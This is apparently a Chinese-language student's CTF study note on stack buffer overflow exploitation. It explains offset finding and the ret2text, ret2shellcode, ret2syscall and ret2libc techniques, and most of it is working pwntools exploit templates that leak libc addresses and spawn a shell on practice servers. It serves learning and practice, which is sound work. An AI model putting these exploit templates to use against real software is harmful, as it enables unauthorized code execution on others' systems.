栈溢出原理
先把基本栈溢出原理说清楚,上图可能不太清晰。
自己的话讲就是函数A原本rbp和rsp,call调用函数B后,rbp上去变成rsp,原本的rsp随着函数B各种参数,寄存器balabala继续往栈顶生长.调用B完再逆操作,回到函数A,rbp回到函数A的返回地址,rsp回到函数B底部,leave之后ret进入A
所以!!我们怎么利用呢
距离rbp在调用完函数B回到函数A时,我们已经把函数B溢出点距离rbp的内容填满,加上目标地址,最后回到函数A过程中,rbp就在目标地址那
通俗:溢出点距离rbp多少空间+目标地址+rbp(64-8//32-4)->发送这个
嗯,应该是这样的,不对回来再改(U ´ᴥ` U)
看这个!!!这个好详细!!!https://www.bilibili.com/video/BV1SB4y1H79Y/?spm_id_from=333.337.search-card.all.click&vd_source=349e837d16672b55951deac3adfe4534
查看偏移量
1.直接在IDA里眼瞅
2.用cyclic
pwndbg> cyclic 200
pwndbg> run
看到报错“Invalid address 0x[xxxx]”
pwndbg> cyclic -l 0x[xxxx](或者haab??)
3.gdb-peda
用法和cyclic差不多,
pattern create 200
c
pattern offset [xxxx]
ret2text————适用于可以看到system后门函数的时候用
上题目!————Buu--warmup_csaw_2016
gets()危险函数,v5就是溢出点,距离0x40
应该选择压入参数cat flag的地址0x400611
from pwn import *
p = remote('node5.buuoj.cn',26256)
payload=b'a'*(0x40+8)+p64(0x400611)
p.sendline(payload)
p.interactive()
ret2shellcode
没有后门函数,没有直接的system(/bin/sh)的时候用!
shellcode 所在的区域具有可执行权限!————所以开启NX保护应该是用不了的
让它在脚本里生成一个shellcode(指令为:shellcode = asm(shellcraft.sh()))
这个是pwntools自带的,用这个相当于我们整了一个/bin/sh过去
基本脚本:
from pwn import *
context(os='linux', arch='amd64', log_level='debug') //废话(bushi)但是要写
p = process("balabala")/remote("ip",port)
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(offset,'a')+p32(0x[溢出地址])
//填充偏移量,如果offset>shellcode,继续填充垃圾字节
p.sendline(payload)
p.interactive()
ret2syscall
在ret2shellcode条件下开了NX保护的时候用
原理:
利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用
mov eax,
0xb mov ebx,
[“/bin/sh”]
mov ecx,
0 mov edx,
0 int 0x80
转自某一个博客:在Linux中,系统调用通常通过int 80h 汇编代码实现,int终端,80h则是代指的系统调用的终端符号,当程序执行到int 80h时,就会将相应的通用寄存器eax中的参数作为系统调用的调用号,其他寄存器中的值或者地址所指向的值作为参数(execve("/bin/sh",NULL,NULL) ) //(32位程序)
所以我们的目标->调用execve()
rax rdx rcx rbx
rdi rsi rcx rbx r9 r10
:::warning
!!!如何调用execve()函数
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
:::
使用gdb
1.寻找控制 eax 的 gadgets
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'eax'
2.ebx,edx,ecx的ret
ROPgadget --binary 文件名 --only 'pop|ret' | grep 'ebx'
#或者直接ROPgadget --binary 文件名 --only 'pop|ret'查看所有的
3.获得 /bin/sh 字符串对应的地址。
ROPgadget --binary 文件名 --string '/bin/sh'
4.int 0x80 的地址
ROPgadget --binary r文件名 --only 'int'
最后的payload=垃圾字节+(eax-ret+ebx-ret+ecx-ret+edx-ret+/bin/sh+0x80)->的地址
ret2libc
没有后门函数同时开启NX保护
一般有puts()、printf()、writes()等,且使用了libc库
函数的真实地址 = 基地址 + 偏移地址
呜呜呜,更一下,ldd filename就可以查看文件本地的libc版本555
https://www.cnblogs.com/falling-dusk/p/17856141.html
https://rj45mp.github.io/深入理解ret2libc/
https://blog.csdn.net/qq_51032807/article/details/114808339
https://blog.csdn.net/Mr_Fmnwon/article/details/130959123
先上板子
32位
from pwn import *
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3_32")
puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts'] #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)
#attach(p, "b *0x0804868F")
#pause()
p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4]) #接收puts的真实地址,占4个字节
print("puts_plt:{}, puts_got: {}, start_addr: {}".format(hex(puts_plt),hex(puts_got), hex(start_addr)))
print("puts_real_addr: ", hex(puts_real_addr))
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
binsh_addr = libc_addr + next(libc.search(b"/bin/sh")) #计算binsh字符串的真实地址
payload2 = b'a' * 112 + p32(system_addr) + b"aaaa" + p32(binsh_addr)
#pause()
p.sendline(payload2)
p.interactive()
64位
payload = b"a" * offset #垃圾数据的填充
payload += p64(pop_rdi_ret_addr) #用寄存器rdi传参,参数是read_got
payload += p64(read_got) #想要存入rdi的参数
payload += p64(puts_plt) #puts的入口地址,即plt表的地址
payload += p64(main_addr) #程序的起始地址
板子
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("ret2libc")
pop_rdi_ret_addr = 0x401293
read_got = 0x403368
puts_plt = 0x401060
main_addr = 0x401176
offset = 40
payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main_addr)
#attach(p,"b *0x40121e")
p.recvuntil("Pls Input")
#pause()
p.send(payload)
read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) #read函数的真实地址,由于真实地址总是从7f开始,故从7f开始接收,长度补足8个字节
print("read_real_addr: ", hex(read_real_addr))
剩下的和32位的一样
一个大佬的64位样例
from pwn import * #pwntools
from LibcSearcher import * #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher库
elf=ELF("./babyof") #获取got/plt等程序信息
context(arch="amd64",log_level="debug",os="linux")
pop_ret_rdi_addr=0x400743 #64linux,用于参数填入函数
puts_plt_addr=0x400520 #用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr=0x40066b #用于返回main函数,准备第二次栈溢出(?)
ret=0x400506 #用于返回,否则出错(?)
io=remote("node4.anna.nssctf.cn",28715) #远程连接
payload=b'a'*(0x40+8) #溢出
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"]) #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload+=p64(puts_plt_addr) #puts的plt地址,用于(参数准备好后)调用call puts
payload+=p64(main_addr) #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出
io.sendlineafter("overflow?\n",payload) #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr) #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可)
libc_addr=puts_real_addr-libc.dump("puts") #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh") #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system") #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================
payload2=b'a'*(0x40+8) #栈溢出
payload2+=p64(ret) #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入
payload2+=p64(system_real_addr) #调用system
payload2+=p64(main_addr) #只是为了能够找到一个合法地址(?)
io.sendlineafter("overflow?\n",payload2) #栈溢出点发送payload
io.recv() #吸收一下发过来的数据,没必要
io.interactive() #开始交互,ls -> cat flag
好啦好啦,要刷题啦()